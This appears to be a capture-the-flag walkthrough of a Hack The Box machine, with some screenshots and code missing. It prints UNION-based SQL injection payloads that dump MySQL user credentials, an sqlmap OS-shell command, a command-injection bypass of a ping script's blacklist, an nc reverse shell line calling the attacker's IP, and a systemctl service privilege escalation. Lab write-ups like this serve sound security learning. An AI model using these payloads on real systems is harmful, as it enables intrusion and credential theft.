Information Gathering
Rustscan
Rustscan found SSH, HTTP, and port 64999 open.
Nmap
Port 6499 seemed to be HTTP server
Enumeration
HTTP - TCP 64999
Web Server running on port 64999 seemed to be protected from Bruteforcing attack:
I attempted on both Direcotry Bruteforcing and Subdomain Enumeration but neither worked out.
HTTP - TCP 80
On top left side of the webpage, I noticed the domain name supersecurehotel.htb and added it to /etc/hosts.
Directory Bruteforce
I tried directory bruteforcing with Feroxbuster and it found nothing useful other than /phpmyadmin:
sudo feroxbuster -u http://10.10.10.143 -n -x php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -C 404
/phpmyadmin
/phpmyadmin seemed quite normal but I wasn’t able to figure out it’s version information. I tried log-in with several default credentials but it wasn’t successful:
SQLi
Entry Point Detection
When user tries to reserve a room, url is moved to somewhere like /room.php?cod=<number>
:
I confirmed potential SQLi vulnerability by attaching '
sign at the end of the url and page showed an error:
Detecting number of columns
In order to detect number of columns on SQL table, I used ORDER BY
.
When cod parameter is queried with 1 ORDER BY 7
, it doesn’t show any error:
However, when cod parameter is queried with 1 ORDER BY 8
, webapp throw back an error, indicating there’s 7 columns on table:
Query Info
I made injection with ?cod=-1 UNION SELECT 1,2,3,4,5,6,7
and the web app showed me where each column is located at.
Column 5: Picture Column 2: Room Title Column 3: Price Column 4: Description
This meant that I can use the above four columns to query information from the table and see the output on the webapp page. If I query with columns, 1,6, 7, I won’t be able to see output on web app.
database(), user()
?cod=-1 UNION select 1,database(),user(),4,5,6,7
List DBs
?cod=-1 UNION SELECT 1, group_concat(schema_name),3,4,5,6,7 from information_schema.schemata
Show Tables in hotel
?cod=-1 UNION SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema=%27hotel%27 ;-- -
Show Columns in room
?cod=-1 UNION SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='room';-- -
Show Tables in mysql
?cod=-1 UNION SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='mysql' ;-- -
Show Columns in user
Get Username / Password
$cod=-1 UNION SELECT 1, user,3, 4,password, 6, 7 from mysql.user;-- -
Shell as www-data
sqlmap
Automating this process was possible through sqlmap:
sqlmap -r req.txt --dbs --batch
Even obtaining shell through sqlmap was possible:
sqlmap -r req.txt --dbs --batch --os-shell
However, this shell was very limited so decided to spawn a proper shell.
By using the following code on sqlmap os shell, I was able to spawn a reverse shell:
Now I have shell connection as www-data on my netcat listener:
Privesc: www-data to pepper
I first made the shell more interactive using: python -c 'import pty; pty.spawn("/bin/bash")'
Linpeas
I ran linpeas.sh and it found several interesting potential escalation points.
First of all, SQL was running locally on server so I’d be able to take a look into it with proper credentials:
www-data can run simpler.py as the user jarvis:
SYSTEMCTL SUID file seemed to be vulnerable to privilege escalation:
simpler.py
I moved on to check on simpler.py and it had a function of sending ping
to entered IP address:
I tried limiting the ping to 3 and it threw back on error message at me.
I took a look at the code and it turned out there were forbidden characters:
It seemed that if the entered command passes the blacklist, it is forwarded to os.system()
Luckily, $ character is not blacklisted so I was able to spawn a shell abusing this point.
Reverse Shell
I created reverse shell script on /tmp as such:
echo -e '#!/bin/bash\n\nnc -e /bin/bash 10.10.16.12 443'
I gave it execution using chmod +x rev.sh
and entered path to reverse shell when prompted with entering IP:
$(/tmp/rev/sh)
Now on my local listener, reverse shell was spawned as pepper:
Privesc: pepper to root
Following my cheatsheet, I first created ssh connection as pepper to make my connection more stable:
Going back to linpeas result, I remember about systemctl:
GTFOBinsgot a great tutorial on how to abuse this.
Malicious Service
A service is defined by a .service
extension and systemctl is what links the service to systemd and it is used again to start the service.
I created vulnerable.service following GTFOBins as such:
Now I created shell.sh that will spawn a reverse shell back to me:
Linking vulnerable.service using systemctl, now I am ready the service:
systemctl link /home/pepper/vulnerable.service
Now by running the service with systemctl run vulnerable.service
, I get a root reverse shell connection: